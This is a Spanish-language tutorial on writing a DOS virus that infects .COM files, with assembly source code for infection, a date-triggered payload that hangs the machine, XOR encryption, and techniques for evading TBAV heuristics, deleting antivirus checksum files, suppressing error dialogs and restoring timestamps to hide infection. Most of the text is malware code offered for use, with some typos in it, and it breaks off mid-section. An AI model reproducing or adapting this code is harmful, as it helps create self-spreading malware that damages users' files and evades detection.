WORLD NETWORK
  Como hacer un virus
 

COMO HACER UN VIRUS?

Empezaremos por contaminar archivos com, ?que qu? diferencia hay
entre archivos com y exe? pues f?cil, si os hab?is fijado los archivos
com ocupan como m?ximo 65 kbytes y pico. ?qu? porque es as?? , pues porque
los com se cargan en un ?nico segmento de memoria. Y no me veng?is
diciendo que el command.com del windows 95 tiene m?s porque aunque tiene
extensi?n com es un archivo exe (es un exe camuflado je,je,je )
Los exe's utilizan un cabecera con informaci?n acerca del tama?o del
archivo, la posici?n inicial para empezar a ejecutar el file la posici?n
del stack y dem?s choradas necesarias para cargarlo en varios segmentos
de memoria.El inicio de dicha cabecera es MZ ?que porque esa marca?
,yo que s? ,yo no cre? la estructura de los exe's, de alguna manera los
ten?an que marcar.
Bueno la verdad es que lo que realmente diferencia un
exe de un com es esa marca , la extensi?n simplemente sirve para que
el DOS sepa que ejecutar primero com->exe->bat.
El virus que vamos a hacer no ser? residente por lo que
es bastante sencillo .Contamina en un ?nico directorio
por lo que adem?s de ser sencillo tendr? una infecci?n pr?cticamente
pat?tica. Pero bueno es pa ke entend?is el rollo este de los com.
La contaminaci?n de los com's se puede hacer a?adiendo el c?digo del
virus al principio del hoste(programa infectado) pero no es recomendable
por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros
bytes del archivo (guardarlos en el c?digo del virus) poner en su lugar
un jmp virus (es decir un salto incondicional al c?digo del virus, que
lo a?adimos al final del hoste).Cuando acaba la ejecuci?n del virus los
3 bytes que hab?as guardado los restauramos al principio del virus y
le pasamos el control al hoste. F?cil noooo???

-----------------
| jmp virus |
-----------------
| codigo del |
| hoste |
-----------------
| virus: |
| contamina |
| recupera los |
| 3 bytes |
| originales y |
| jmp hoste |
-----------------

Ahora que sabemos la teor?a , tenemos que buscar una manera
de marcar los archivos para no volverlos a contaminar infinitas veces.
Como vamos a tener que poner un jmp al principio del hoste , pues
este propio jmp funciona de marca de infecci?n. El virus infectar?
a los archivos que no empiecen con un jmp.El c?digo del jmp ocupa
1 byte y la direcci?n a saltar con un byte ocupa 2 bytes
1 byte del jmp + 2 bytes direcci?n = 3 bytes (lo que pillamos del hoste)

Otra cosa. Al programar un virus lo que se hace normalmente es crear
un archivo contaminado, en este caso nuestro hoste contaminado
contendr? un jmp start (salto al principio del virus) y la int 20h
para regresar al dos.


longitud equ fin-start

code segment 'code'
assume cs:code,ds:code,es:code
org 100h ;empiezo en 100 ya que es un com
hoste: jmp start ;esto es un hoste simulado
int 20h ;con esto salgo al DOS
start: push bp
call alli ; busco la ip de inicio
alli: pop bp ; para que la variables no
sub bp,offset alli ; aparezcan corridas :-)


Con esto lo que hacemos es definir la constante longitud como
la diferencia entre dos etiquetas que hemos puesto al principio y al
final del virus(obviamente) con lo que el linkador nos traducir?
longitud como el tama?o del virus.
El org 100h es para que el programa se carge en el offset 100h,
los com's siempre se cargan en el offset 100h ya que tienen que dejar
100h bytes para que el DOS guarde informaci?n sobre el programa
esos 100h bytes forman lo que se llama el PSP.
En el hoste meto un jmp start con lo que este archivo estar? ya
marcado como infectado.
Ahora viene lo gracioso, que co?o hace ese call ah?.Bueno ?por qu?
un call? ?acaso los call no s?n para llamar a procedimientos?
?y el procedimiento??no veo ninguno??y la famosa instrucci?n ret
para regresar del procedimiento tampoco la veo?
Respuesta:
No es una llamada a un procedimiento. Es simplemente una pirula
para que se puedan direccionar las variables. ?qu?eee?. Si bueno
no s? si si os hab?is dado cuenta que el virus se a?ade al final
del hoste con lo que en cada hoste las variables se encontrar?n
en diferente offset (el offset es una direcci?n dentro de un
segmento , y un segmento es un bloque de memoria de 65536 bytes)
Las referencias a variables ( como mov ax,variable)
el linkador las traduce a un numero (mov ax,056f2h por ejemplo)
Por esto es por lo que hay que inventarse una pirula para hallar
el verdadero offset de las variables( en busca del offset perdido).
Ahora bien que os parece si sumamos a cada referencia a variable
el incremento del tama?o del hoste respecto al hoste ficticio que hemos
creado,que lo podr?amos tener almacenado en un registro como el bp
(que no es muy usado). Ahora las referencias a variables quedar?an as?:
mov ax,bp+variable
No est? mal el invento pero ?c?mo co?o hallamos ese incremento
que sufre el offset?.Ahora es cuando utilizamos las maravillosas
cualidades del comando call.El comando call no s?lo salta al comienzo
del procedimiento sin? que apila la direcci?n de regreso para que
luego utilizando la instrucci?n ret se pueda regresar a la posici?n
desde la que fu? llamada.Pero bueno, que preciosidad de comando
,pues yo ahora hago un call findoffset y en vez de enviar el control
a un procedimiento utilizo el comando pop para desapilar la direcci?n
apilada con el call. Pero la cosa no se queda ah?, ahora le resto
a esa direccion (almacenada en bp) el offset de la etiqueta findoffset
ahora acabamos de obtener el desplazamiento que sufriran las variables.

NOTA:Las instrucciones offset algo el linkador las traduce por un
n?mero por lo que en cada archivo infectado 'offset findoffset'
siempre ser? el mismo n?mero.
el offset de la etiqueta findoffset del archivo que vamos a crear.

Si te fijas en el archivo que vamos a obtener el bp tomar? el valor 0
esto es correcto ya que en el archivo original no se produce ningun
desplazamiento,respecto a su propio tama?o ; ).

push cs
push cs
pop ds
pop es
push ax
push bx
push cx ; APILO LOS REGISTROS
push dx
push di
push si

Con esto ds y es se quedan con el valor de cs ya que trabajamos
en un ?nico segmento. Adem?s apilo los registros para que no
se modifique su valor.

Ahora viene un punto muy importante en este virus es recuperar
los 3 bytes originales.Esto lo hacemos antes de la contaminaci?n
ya que la variable cab_ORIG la sobreescribiremos en el proceso
de infecci?n.

cld
mov cx,3d ;en cx el numero de bytes a mover
mov di,100h ;muevo de ds:si ->es:di
lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h
rep movsb

Ten en cuenta que sobreescribo estos 3 bytes en memoria el
archivo contaminado siempre tendra tu jmp START.

************* Quien quiera pasar de esto que lo haga *******
************* es la activaci?n del virus *******

Se activa el 19 de Febrero mi Cumplea?os (que original).

mov ah, 02h
int 21h
cmp dh, 2d ;compruebo si el mes es 2
jne noactivo
cmp dl, 19d ;compruebo si el dia es 19
jne noactivo

mov ax,0900h ;aparece el mensaje en pantalla
lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo
int 21h

hlt ;cuelgo el ordenata

noactivo:

************* Final de la activaci?n *************************


mov ah,4eh ;
lea dx,bp+file_cont ;
mov cx,00000000b ; BUSQUEDA DEL ARCHIVO
int 21h ;

con esto busco archivos que cumplan que tienen extensi?n com
*.com . en ds:dx esta la direcci?n de la cadena '*.com'
en ah la llamada a la funci?n de busqueda y en cx los atributos.
Es recomendable trabajar con una buena lista de interrupciones
yo recomiendo personalmente la lista de Ralf Brown yo dir?a que
sin duda es la mejor .
Si la han quitado la podr?is conseguir de la p?gina de Cicatrix.
Ojo a que ponemos bp+file_cont en vez de file_cont a secas.

otro: mov ah,4fh
int 21h
jb salir ;salto si no quedan m?s archivos
;con extensi?n com

mov ax, 3d00h ;abro el archivo para lectura
mov dx, 009eh
int 21h
mov bx,ax ;guardo el handel


Al encontrar un archivo con extensi?n com lo abro para ver si est?
contaminado.
Ten en cuenta que la informaci?n obtenida con la funcion 4fh de la
interrupci?n 21 (busqueda de archivo) se guarda en el DTA(disk
transfer area) que forma parte del PSP (que son los 100 bytes iniciales
del segmento donde se ejecuta el com).
El DTA empieza en el offset 80h y tiene la siguiente estructura:

offset Bytes ocupados Funci?n
00h 21d Usado por el dos para la funci?n
4f (buscar proximo)
15h 01d Atributos del file encontrado
16h 02d Hora del archivo
18h 02d Fecha del file
1Ah 04d Tama?o del archivo en bytes
1Eh 13d Nombre del archivo

Ahora que sabemos esto para abrir un archivo encontrado con las funciones
4Eh y 4Fh s?lo tenemos que poner en dx la direcci?n del campo Nombre de
Archivo del DTA. Esta se encuentra en el offset 1Eh del DTA pero como el
DTA se encuentra en el offset 80h, la direcci?n real
ser? 80h+1Eh= 9Eh.

mov ax,4200h ;muevo el puntero al principio
mov cx,0000h
mov dx,0000h
int 21h

mov cx,3h ;longitud a copiar
lea dx,[bp+cab_Orig] ;direccion donde se copiara
mov ah,3fh ;funcion de lectura
int 21h

En la variable cab_ORIG los 3 primeros byte del archivo . Esto
es para comprobar si est? infectado y si lo est? de paso ya tengo
los 3 bytes para poder recuperarlos luego.(ten en cuenta que a estas
alturas ya hemos recuperado en memoria los 3 bytes originales del
file).


mov ah ,3eh ;cierro el archivo
int 21h

cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp
je otro ;no lo contamina y busca otro


Cierro el archivo y compruebo si el byte almacenado en cab_ORIG es
igual a 0E9h que es el c?digo de la intrucci?n jmp.
Si es igual probablemente est? contaminado por lo que buscamos otro

mov ax, 3d02h ;abro el archivo para r/w
mov dx, 009eh
int 21h
mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable
mov bx,ax ; guardo en bx el handle del archivo

Fijate bien que todas las referencias a variables se realizan sumando
bp.
mov cx, 2h
mov si,009Ah
lea di,[bp+cabecera+1]
rep movsb

Ahora hallamos el tama?o del archivo , lo leemos del DTA como ya hicimos
con el nombre del archivo

sub word ptr [bp+cabecera+1],3

Ahora resto al tama?o del archivo lo que ocupa el tama?o del jmp (3 bytes)
ya que el salto comienza realmente desde la siguiente instrucci?n.

mov ax,4200h ;muevo el puntero al principio
mov cx,0000h
mov dx,0000h
int 21h

mov ah,40h ;escribo los nuevos 3 bytes
mov cx,3h ;que tendr? el archivo
lea dx,bp+cabacera
int 21h

Que conste que la variable cabecera la ten?a preparada con un E9h
en el primer bytes(jmp) mirar la definici?n de variables del final
Por ello lo ?nico que he tenido que hacer es completarla metiendo
la direcci?n hallada.

mov ax,4202h ;muevo el puntero al final
mov cx,0000h
mov dx,0000h
int 21h

mov ah,40h
mov cx,longitud ;en cx el n?mero de bytes a copiar
lea dx,bp+start ;pues la longitud del archivo
int 21h ;que va a ser

mov ah ,3eh ;cierro el archivo
int 21h

Completamos la infecci?n cerrando el archivo

salir: pop si ;
pop di ;
pop dx ; DESAPILO LOS REGISTROS
pop cx ;
pop bx ;
pop ax ;
pop bp ;

mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO
jmp ax


Para salir desapilamos los registros guardados
y con un simple jmp al offset 100h el hoste emp
Bueno,bueno,bueno ... Tenemos aqu? un bonito virus, ?qu? podemos hacer para mejorarlo un poco?. Pues vamos a encriptarlo. Y adem?s lo vamos a encriptar cada vez con un valor diferente, que cogeremos de un contador que tiene el Bios (el bios cuenta el n?mero de tics de reloj a partir de las 12). ?qu? porqu? encriptamos con un valor variable?.Pues f?cil, si encriptamos cada vez con un valor diferente ,la parte del virus que permanece constante con cada infecci?n ser? m?nima(s?lo la rutina de desencriptaci?n). Actualmente hay m?s sofisticadas t?cnicas para que se reduzca el codigo invariante del virus, se trata del POLIMORFISMO que se basa en encriptar seg?n un n?mero aleatorio y modificar cada vez la rutina de desencriptaci?n. Pero basta de rollos, vamos a explicar un poco eso de la encriptaci?n. Utilizaremos una encriptaci?n xor ,esta encriptaci?n tiene una cualidad muy interesante y es que la rutina de desencriptaci?n y la de encriptaci?n es la misma. Fijaos que si realizamos un xor a un n?mero con el valor 5 (por ejemplo) ,obtenemos otro n?mero diferente , pero si volvemos a aplicar la funci?n xor con el valor 5 obtenemos el valor que ten?amos al principio. Nota: La funci?n A xor B es cierto si A es cierta y B no o si A es falsa y B cierta. Supongamos ahora que tenemos un byte del virus 11011010 y que encriptamos seg?n el valor del timer 00100111 Valor encriptado Valor desencriptado ---------------- ------------------- 11011010 xor 00100111 = 11111101 xor 00100111 = 11011010 Tened en cuenta que a hay muchas posibilidades de encriptaci?n pero no siempre la funci?n de encriptado es igual a la de desencriptado como pasa con la xor, tomad algunos ejemplos: Funci?n de encriptaci?n Funci?n de Desencriptaci?n ----------------------- -------------------------- add .................................... sub sub .................................... add xor .................................... xor ror .................................... rol rol .................................... ror inc .................................... dec dec .................................... inc not .................................... not La estructura es muy simple cuando el virus toma el control llama a una rutina de desencriptaci?n y ?sta desencripta el codigo del virus( lee el byte del timer que lo tenemos almacenado en una variable dentro del codigo y con ese valor pasamos la funci?n xor a cada byte del virus). ------------------ | jmp virus | ------------------ | codigo del | | hoste | ------------------ | virus: | | Rutina de | | desencriptaci?n| ------------------- | virus | | encriptado | ------------------- Pero que co?o pasa , aqu? hay un problema.?c?mo vamos a dar el control a una rutina de desencriptaci?n si no tenemos el virus encriptado todav?a?.Aqu? viene lo divertido del asunto. En el archivo que vamos a crear, no haremos un jmp START como hicimos en el ejemplo anterior haremos jmp Encryptor, siendo Encryptor una etiqueta que indica el comienzo a una rutina de encriptaci?n que colocar? al final del virus. Fijate bien que la coloco despu?s de la etiqueta 'fin'. Esto ?s porque la rutina s?lo tiene que funcionar en el archivo que creamos nosotros(ya que no tiene todav?a el codigo encriptado) ,de este modo esa rutina no se copiar? en las sucesivas infecciones. El metodo de infecci?n es ligeramente diferente, ya que hemos de encriptar primero el virus y luego a?adirlo al archivo. Por ello copio el codigo del virus textualmente al final del propio virus ,all? lo encripto y de all? lo llevo al final del archivo. Atenci?n a las modificaciones del virus anterior... longitud equ fin-start zona_encrypt equ offset zona_end-offset zona_start comienzo equ offset zona_start-offset start Hallado la constante zona_encrypt para definir la cantidad de bytes a encryptar(que no es igual a la longitud del virus, porque la rutina de desencriptaci?n obviamente no se encripta). La variable comienzo la utilizo para direccionar la zona a encriptar cuando muevo el virus para encriptarlo. code segment 'code' assume cs:code,ds:code,es:code org 100h ;empiezo en 100 hoste: jmp encryptor ;esto es un hoste simulado int 20h ;con esto salgo al DOS Fijaos que en vez de saltar a Start salto a encryptor para encriptar el c?digo del virus antes de pasar el control a la rutina de desencriptaci?n start: push bp call alli ; busco la ip de inicio alli: pop bp ; para que la variables no sub bp,offset alli ; aparezcan corridas :-) push cs push cs pop ds pop es push ax ; push bx ; push cx ; APILO LOS REGISTROS push dx ; push di ; push si ; *********** Rutina de desencriptaci?n ********************** Tened en cuenta que hemos de hallar en bp el desplazamiento antes de la rutina de desencriptaci?n , ya que esta rutina si que se ejecuta en cada archivo contaminado. mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr [valor] mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas No voy a explicar la rutina ya que es la misma que la rutina de encriptaci?n ************ antenci?n que aqu? empieza la zona encriptada ******* zona_start: cld mov cx,3d ;en cx el numero de bytes a mover mov di,100h ;muevo de ds:si ->es:di lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h rep movsb mov ah, 02h int 21h cmp dh, 2d ;compruebo si el m?s es 2 jne noactivo cmp dl, 19d ;compruebo si el d?a es 19 jne noactivo mov ax,0900h ;aparece el mensaje en pantalla lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo int 21h hlt ;cuelgo el ordenata noactivo: mov ah,4eh ; lea dx,bp+file_cont ; mov cx,00000000b ; BUSQUEDA DEL ARCHIVO int 21h ; otro: mov ah,4fh int 21h jb salir ;salto si no quedan m?s archivos ;con extensi?n com mov ax, 3d00h ;abro el archivo para lectura mov dx, 009eh int 21h mov bx,ax ;guardo el handel mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov cx,3h ;longitud a copiar lea dx,[bp+cab_Orig] ;direcci?n donde se copiar? mov ah,3fh ;funci?n de lectura int 21h mov ah ,3eh ;cierro el archivo int 21h cmp byte ptr [bp+cab_ORIG],0E9h ;si empieza con un jmp je otro ;no lo contamina y busca otro mov ax, 3d02h ;abro el archivo para r/w mov dx, 009eh int 21h mov word ptr ds:[bp+handel],ax ;guardo en handel en la variable mov bx,ax ; guardo en bx el handle del archivo mov cx, 2h mov si,009Ah lea di,[bp+cabecera+1] rep movsb sub word ptr [bp+cabecera+1],3 mov ax,4200h ;muevo el puntero al principio mov cx,0000h mov dx,0000h int 21h mov ah,40h ;escribo los nuevos 3 bytes mov cx,3h ;que tendr? el archivo lea dx,bp+cabacera int 21h Ahora que he escrito la nueva cabecera he de mover el c?digo del virus y encriptarlo antes de ejecutar la int 21 funci?n 40 para copiar el virus al final. xor ax,ax int 1Ah mov al,dl ;s?lo leo el valor menos mov byte ptr [bp+valor],al ;significativo ya que s?lo ;necesito un byte Aqu? obtengo el valor del timer con la int 1ah y lo guardo en la variable valor para que lo pueda utilizar luego la rutina de desencriptado. cld lea si,bp+start ;copio el virus a otra parte lea di,bp+Encrypt_buf ;para encriptarlo mov cx,longitud ;ds:si -> es:di rep movsb mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr [valor] otro_byte: xor byte ptr [bp+Encrypt_buf+comienzo+di],ax inc di dec cx je otro_byte Con esto encripto el virus (que lo he movido a Encrypt_buf) mov ax,4202h ;muevo el puntero al final mov cx,0000h mov dx,0000h int 21h mov ah,40h mov cx,longitud ;en cx el n?mero de bytes a copiar lea dx,bp+Encrypt_buf ;pues la longitud del archivo int 21h ;que va a ser Fijate aqu? que no empiezo a copiar en Start sino en Encrypt_buf donde est? el virus con su zona correspondiente encriptada mov ah ,3eh ;cierro el archivo int 21h salir: pop si ; pop di ; pop dx ; DESAPILO LOS REGISTROS pop cx ; pop bx ; pop ax ; pop bp ; mov ax,100h ;FELICIDADES YA HAS CONTAMINADO OTRO ARCHIVO jmp ax cab_ORIG db 090h,090h,090h cabecera db 0e9h,00h,00h handel dw 0 file_cont db '*.com',0 Mensaje db 'Ooooooohhhh!!! El virus ejemplo del web de',0ah,0dh db 'Nigromante se ha activado.....',0ah,0dh db ' ..... para desactivarlo consulten con',0ah,0dh db ' nEUrOtIc cpU.',0ah,0dh zona_end: ************ antenci?n que acaba la zona encriptada ******* valor db 5h encrypt_buf db 0 ;a part?r de aqu? escribo el c?digo ;del virus para encriptarlo fin label near Ojo , a que la variable valor tiene que estar fuera de la zona encriptada, si estuviera dentro como co?o podr?as desencriptar luego el codigo.je,je,je. Encryptor: push di ;apilo los registros utilizados push cx ;por la rutina de desencriptaci?n push ax push cs pop ds mov cx,zona_encrypt ;en cx el numero de bytes xor di,di ;a encriptar mov ax,byte ptr [valor] mas: xor byte ptr [zona_start+di],ax inc di dec cx je mas Fijate que no necesito en esta rutina sumar a las variables bp ya que esta rutina s?lo se ejecutar? en este archivo y no se va a copiar en las dem?s infecciones. En ax leo el contenido de la variable Valor(el valor del timer) que en este archivo le he dado un 5h por poner algo. Y con ese valor aplico la funci?n xor a cada byte de la zona encryptada. pop ax ;desapilo los registros utilizados pop cx pop di jmp start Ahora si que salto a Start ,ya el virus est? como toca, rutina de desencriptaci?n+codigo encriptado. code ends end start Otra ventaja de la encriptaci?n es que si habres el ejecutable con un editor de texto (aunque para qu? co?o vas a querer abrirlo con un editor de texto) ya no se ver? el mensaje del virus.Lo que delatar?a claramente que el archivo est? infectado. Con esto finalizo la clase de encriptaci?n , Para compilarlo simplemente hay que poner las instrucciones en un mismo archivo(no se compilar? con mis comentarios por ah? je,je,je ). Y escribir tasm archivo.asm tlink /T archivo.asm



Bueno ,he estado evitando hasta ahora hablar de heur?stica, pero
supongo que ?s inevitable.
La busqueda heur?stica es un m?todo utilizado por lo antivirus
y consiste en buscar trozos muy utilizados en los virus.
Por ejemplo la busqueda del desplazamiento de las variables
(o delta offset o beta offset como dir?an algunos programadores
de virus).Ese trozo es muy com?n en los virus y en cambio
ning?n programa (normalmente) lo utiliza (?qu? programa necesita
buscar un desplazamiento de variables si no se va a cambiar
de offset?).
En nuestro programita saltar?an por ejemplo el flag de encriptaci?n
(flag # en el tbav) ,el flag de busqueda de ejecutables(porque
buscamos archivos com, eso quieras o no es bastante sospechoso)
,el flag de busqueda del delta offset (flag E en el tbav) y el
flag de regreso al hoste (salta cuando damos el control al hoste
saltando al offset 100h,flag B en el tbav)

Lista de flags del tbav
-----------------------

E Flexible Entry-point. The code seems to be designed to be linked
on any location within an executable file. Common for viruses.
J Suspicious jump construct. Entry point via chained or indirect
jumps. This is unusual for normal software but common for viruses.
B Back to entry point. Contains code to re-start the program after
modifications at the entry-point are made. Very usual for viruses.
M Memory resident code. The program might stay resident in memory.
c No checksum / recovery information (Anti-Vir.Dat) available.
C The checksum data does not match! File has been changed!
T Incorrect timestamp. Some viruses use this to mark infected files.
Z EXE/COM determination. The program tries to check whether a file
is a COM or EXE file. Viruses need to do this to infect a program.
@ Encountered instructions which are not likely to be generated by
an assembler, but by some code generator like a polymorphic virus.
G Garbage instructions. Contains code that seems to have no purpose
other than encryption or avoiding recognition by virus scanners.
U Undocumented interrupt/DOS call. The program might be just tricky
but can also be a virus using a non-standard way to detect itself.
K Unusual stack. The program has a suspicious stack or an odd stack.
1 Found instructions which require a 80186 processor or above.
R Relocator. Program code will be relocated in a suspicious way.
L The program traps the loading of software. Might be a
virus that intercepts program load to infect the software.
w The program contains a MS-Windows or OS/2 exe-header.
F Suspicious file access. Might be able to infect a file.
S Contains a routine to search for executable (.COM or .EXE) files.
# Found a code decryption routine or debugger trap. This is common
for viruses but also for some copy-protected software.
D Disk write access. The program writes to disk without using DOS.
? Inconsistent exe-header. Might be a virus but can also be a bug.
N Wrong name extension. Extension conflicts with program structure.

Si os fij?is algunos de los flags son una chorada (ojo al flag w)
Pero tranquilos ,en esta vida todo tiene soluci?n en primer
lugar prodr?amos sustituir la tipica rutina ...

call find_offset
find_offset: pop bp
sub bp,offset find_offset

... por una rutina en la que leamos directamente de la pila

call find_offset
find_offset: mov si,sp
mov bp,word ptr ss:[si]
sub bp,offset find_offset
add sp,2 ;adi?s flag E


Fijate que los datos en la pila se almacenan decrecientemente, con lo
que el ?ltimo elemento est? en la posici?n de memoria m?s baja.
El ?ltimo elemento de la pila lo apunta el par de registros ss:sp
No podemos direccionar la memoria con el registro sp por lo que primero
pasamos el valor de sp a si (mov si,sp) despu?s leemos el valor apuntado
por si y lo llevamos a bp(?sta ?s la direcci?n apilada con el call)
Y bueno realizamos el sub y ojo a esta parte sumamos 2 al registro sp
ya que hemos desapilado una palabra de la pila y ahora el ?ltimo elemento
de la pila est? dos posiciones hacia arriba.
Esta rutina sirve pero ten en cuenta que el call find_offset no puede
ser el primer comando del virus (sino la heur?stica saltar?a).
Antes del call find_offset podr?as poner ...
push cs
push cs
pop ds
pop es
....ya que de todas formas lo tendr?as que poner.

No tengas tentaciones de poner instrucciones in?tiles antes del
call como

mov cx,cx
xchg ax,ax

Entonces no saltar?a el flag del delta offset
sin? el flag de garbage instruccion (instrucciones basura)
?qu? porqu? salta la heur?stica con instrucciones in?tiles?
Pues porque un programa normal no suele utilizarlas , no s?n instrucciones
que un compilador genere. En cambio los virus las utilizan para modificar
la rutina de desencriptaci?n en virus Polim?rficos. As? que evita
utilizarlas.
Ahora que hemos evitado el flag E vamos a anular el flag B (back to
entry point, regreso al punto de entrada).Salta cuando damos
el control al com despu?s de la ejecuci?n del virus.
Es decir si utilizamos ....

mov ax,100h
jmp ax

pero esto tiene una soluci?n tambi?n dr?stica,(no utilizaremos un mov)

push 100h ;apilamos el valor 100h en la pila
pop ax ;desapilamos ese valor en el registro ax
jmp ax ;saltamos a la direcci?n 100h

Si, si, s? lo que est?is pensando.Pero se v? que a los creadores
de antivirus no se les ocurri? :>
Je,Je hemos aniquilado otro flag. Vamos a por el siguiente.
?Qu? tal el flag de encriptaci?n?. La verdad es que ?ste me costo un
poquito. Le? por alg?n sitio que poniendo despu?s de la rutina de
desencriptaci?n un comando de salida al DOS se quitaba,con lo que
el programa antivirus se pensaba que la zona encriptada eran datos
del programa Algo as? :>

mov cx,zona_encrypt ;en cx el numero de bytes
xor di,di ;a encriptar
mov ax,byte ptr [valor]
mas: xor byte ptr [zona_start+di],ax
inc di
dec cx
je mas
jmp sigue ;salto para ejecutar el virus
;ya desencriptado
mov ax,4c00h ;para salir al DOS pero
int 21h ;nunca llega a ejecutarse
sigue:

***************** aqu? empieza el c?digo encriptado **********
zona_start: cld
mov cx,3d
mov di,100h
lea si,bp+cab_ORIG
rep movsb
.
.
.

La verdad es que es una idea ingeniosa ,pero no me funcion?.
As? que al final consegu? evitar el dichoso flag encriptando
y desencriptando el virus (parece parad?gico ,evitar el flag
de encriptaci?n con una rutina de encriptaci?n juajuajuajua)
Encripto y desencripto con una funci?n xor y utilizando un
valor fijo. Estas dos rutinas las ejecuto antes de llegar
a la verdadera rutina.Y estar?n en cada archivo.
La estructura del com quedar?a as?:

Busqueda del delta offset
Encripto el virus con un valor fijo
Desencripto el virus con el mismo valor
Desencripto el virus con un valor variable que
se encuentra almacenado en el codigo.
Codigo del virus encriptado aqu?

Pod?is revisar el Tarazona_Killer en la zona de virus comentados
que est? en esta web (si ten?is m?s dudas).

Otro menos, esto va disminuyendo.Vamos ahora a por el flag S
Que salta con las rutinas de busqueda de archivos ejecutables
(exe,com).
Tambi?n hay una f?cil soluci?n.En vez de buscar archivos
*.com buscar archivos que cumplan *.c?m .
Y despu?s verificar si el caracter del medio es una o.
F?cil.El flag Z tiene una soluci?n parecida.
El flag z salta con rutinas de verificaci?n si un archivo
es com o exe (es decir comprobando si los 2 primeros bytes
son MZ).
Por ejemplo saltar?a con rutinas como:

cmp word ptr [cab_ORIG],'ZM'
jne contamina_com
jmp salir
contamina_com:

NOTA: F?jate que para verificar si los 2 primeros bytes son MZ
comparamos con la cadena ZM ya que el bytes menos significativo
se carga m?s hacia la derecha y el menos significativo a la
izquierda.

Para evitar el flag leemos primero un byte y luego otro

cmp byte ptr [cab_ORIG].'M'
jne contamina_com
cmp byte ptr [cab_ORIG+1],'Z'
jne contamina_com
jmp salir
contamina_com:

Bueno a estas alturas s?lo saltar?a el flag c
C The checksum data does not match! File has been changed!
El Tbav crea un archivo en cada directorio con infomaci?n
sobre los archivos ejecutables que hay en ?l. Gracias a este
archivo el Tbav sabe si un archivo a aumentado de tama?o o
qu?, (bueno no suelen engordar as? por as? los ejecutables
por lo que si uno crece de tama?o lo m?s normal es que tenga
un virus :> )
La manera de evitar este flag es borrar el archivito con
lo que de paso puedes borrar otros archivos de verificaci?n
de otros antivirus como el chklist.ms etc.
?qu? c?mo los borras? pues co?o pa eso tienes la lista de
interrupciones int 21 en AH->41h y en DS:DX->asciz file

Olvid?monos un poco de los flags y de la heur?stica ,por
lo menos hasta que llegemos a la residencia ;>. Y vamos
a deperurar un poco m?s el programilla.
Piensa por un momente lo que pasar?a si alguien copia
nuestro virus a un diskette ,luego lo protege contra
escritura y despu?s ejecuta el virus.
Pues aparecer?a en pantalla un horroroso mensaje de

Fallo de escritura en unidad A
Anular, Reintentar, Ignorar?

Incluso a veces aparece en pantalla error en int 24 :>
Y vosotros no quer?is que eso pase ,porque delatar?a
a nuestro peque?o virus.
Pues bueno como todo en esta vida tiene una soluci?n.
La interrupci?n 24 es la que gestiona los errores
cr?ticos. Entre ellos est? la lectura en diskettes
defectuosos, la escritura en diskettes protegidos
contra escritura etc.

Las interrupciones s?n procedimientos que se ejecutan
cuando se produce alg?n evento en el sistema ya sea
apretar una tecla ,mover el rat?n, o que aparezca un
error cr?tico.
El DOS crea a partir de la direcci?n de memoria 0000:0000
una tabla que indica la direcci?n de inicio de cada
interrupci?n del sistema. S?lo hemos de leer la direcci?n
de la interrupci?n 24. Guardarla en una variable . Cambiar
la direcci?n a un procedimiento nuestro que no devuelva
codigos de error y luego cuando ya hallamos contaminado
devolver a la interrupci?n 24 su direcci?n inicial.
(fijaos en la funci?n 35h y 25h de la int 21h, para leer
la direcci?n de una interrupci?n y para cambiarla)

mov ax,3524h ;en ah el codigo de la funci?n (35h)
int 21h ;en al el n?mero de la interrupci?n

Esto devuelve en BX el offset y en ES el segmento de la interrupci?n

mov cs:[bp+old_int24_off],bx
mov cx:[bp+old_int24_seg],es

Con esto guardo en memoria la direcci?n de la interruci?n original
Y ahora desv?o la interrupci?n 24 a un procedimiento m?o.

mov dx,offset new_int24
mov ax,2524h
int 21h ;en ds:dx direcci?n de la nueva funci?n
jmp Contaminar ;supongo ds = cs ya que estamos contaminando com's
new_int24: xor al,al ;en al la interrupci?n 24 devuelve el c?digo
iret ;de error por lo que la pongo a 0 :>
contaminar:

Despu?s de contaminar simplemente devolvemos el valor original
a la interrupci?n con...

lds dx,cs:old_int24
mov ax,2524h
int 21h

Fijate en las variables que a?ado a la zona de variables

old_int24 label dword
old_int24_off dw 0
old_int24_seg dw 0

Defino una etiqueta llamada old_int24 para referenciar el inicio
a los valores del offset y del segmento de la interrupcion 24 as?
con el comando lds dx,cs:old_int24 los puedo cargar directamente
en DS:DX sin tener que leer las 2 variables por separado.

Otras mejoras que podr?amos a?adir es la verificaci?n del tama?o
del archivo. Ten en cuenta que un archivo com s?lo puede tener
65 kbytes de tama?o eso hace que si el hoste est muy cerca de
ese tama?o y si t? le a?ades el c?digo del virus ,el conjunto
de hoste+virus no se podr?a cargar en un ?nico segmento por lo
que el programa se colgar?a .
Por eso lo mejor es verificar el tama?o con una rutina como esta
(supongo en la variable longitud el tama?o del hoste)
....

mov ax,50000d
cmp word ptr [bp+longitud],ax
jb size_ok ;salto si el primer elemento
jmp salir ;a comparar es menor al segundo
size_ok:

Tambi?n es interesante guardar la hora y la fecha del archivo
contaminado y luego restaurar la fecha y la hora , as? nadie
se dar? cuenta que la ?ltima modificaci?n del archivo fu? cuando
el virus le contamin? }:>
Para eso utilizaremos la funci?n ax=5700h de la int 21 para leer
la fecha del archivo y la ax=5701h para cambiarla.
En dx se obtendr? el campo de la hora y en cx la fecha.Seg?n
el siguiente criterio.

Bit(s)
- INSTALACION DE UN VIRUS EN LA MEMORIA DEL ORDENADOR -
